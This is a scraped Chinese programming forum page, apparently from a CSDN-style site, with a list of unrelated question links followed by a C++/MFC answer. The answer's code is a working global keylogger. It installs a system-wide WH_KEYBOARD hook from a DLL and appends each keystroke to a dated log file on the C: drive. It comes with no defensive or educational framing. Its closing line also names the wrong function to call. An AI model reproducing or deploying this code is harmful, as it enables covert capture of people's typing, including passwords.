同上
解决方案 »
- 如何获得Resoures中的IDB(BMP图片)的大小?
- 关于多线程传参数问题
- 100分 。网络编程,要学习那些东东。推荐几本书。
- 请帮我看看这个段程序为什么不行呀?
- 如何设置修改删除本机的共享目录?
- 怎样改变一个工程的连接库属性,即生成工程时选择是动态连接库,现在想把它改成静态连接库!!
- 怎么在vc++里面把double型转化为弧度(就是一个角的弧度)?
- 救命啊,我都快晕死啦,HDC、CDC、CClientDC、CWindowDC、CPaintDC
- VC ChartWizard改变图表类型
- 新手问一下UDP和完成端口的问题
- 在服务器端执行操作系统命令的问题
- 请问如何在单文档中添加象多文档中的子框架?
定义:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);DllExport int _stdcall InstallLaunchEv()
{
Hook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD,LauncherHook,
theApp.m_hInstance,0);
return 0;}
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result = CallNextHookEx(Hook,nCode,wParam,lParam);
if( nCode == HC_ACTION)
{
if(lParam &0x80000000)
{
char c[1];
c[0] = wParam;
SaveLog(c);
}
}
return Result;
}
void SaveLog(char *c)
{
CTime tm=CTime::GetCurrentTime();
CString Name;
Name.Format("C:\\key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile File;
if(!File.Open(Name,CFile::modeReadWrite))
{
File.Open(Name,CFile::modeCreate|CFile::modeReadWrite);
}
File.SeekToEnd();
File.Write(c,1);
File.Close();
}
主程序只要调用LauncherHook